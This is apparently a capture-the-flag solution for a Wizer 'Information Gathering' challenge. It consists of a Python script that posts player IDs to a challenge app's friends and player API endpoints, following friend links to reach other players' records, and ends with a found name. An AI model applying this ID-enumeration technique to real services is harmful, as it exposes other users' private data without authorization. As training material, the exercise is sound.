Wizer - Challenge 32 - Information Gathering

Exploit

import requests


url = "https://hal32-578fhj9.vercel.app/api/friends"
url2 = "https://hal32-578fhj9.vercel.app/api/player"



r = requests.post(url, json={
    "playerId": "40d823e9-b2e2-4f24-8c06-aa4a11fde608",
})

print(r.status_code)
print(r.text)




a = [{"playerId":"7d410efd-15c5-4512-afa9-f702c3ccb35f"},{"playerId":"59ac4572-d326-46c5-bad7-538cd115fb1e"},{"playerId":"438f8018-9d27-4a6c-aa0a-712e1b89c8b7"},{"playerId":"420c6e94-20b1-4be6-8f20-9e45b58bc072"}]


b = [{"playerId":"b97f9ae9-c4f7-4e5d-8d66-5fc537dce101"},{"playerId":"535d4199-51fc-41e4-a5f6-82d863e8fa22"},{"playerId":"13ba1a9b-0fba-41df-b4ad-86addd6a2849"}]

c = [{"playerId":"b97f9ae9-c4f7-4e5d-8d66-5fc537dce101"},{"playerId":"535d4199-51fc-41e4-a5f6-82d863e8fa22"},{"playerId":"3747fcae-b3d3-497a-b32c-e88af1dabf39"}]





d = [{"playerId":"b97f9ae9-c4f7-4e5d-8d66-5fc537dce101"},{"playerId":"40d823e9-b2e2-4f24-8c06-aa4a11fde608"}]


for friend in d:
    r = requests.post(url2, json=friend)

    print(r.status_code)
    print(r.text)


# Lee Wung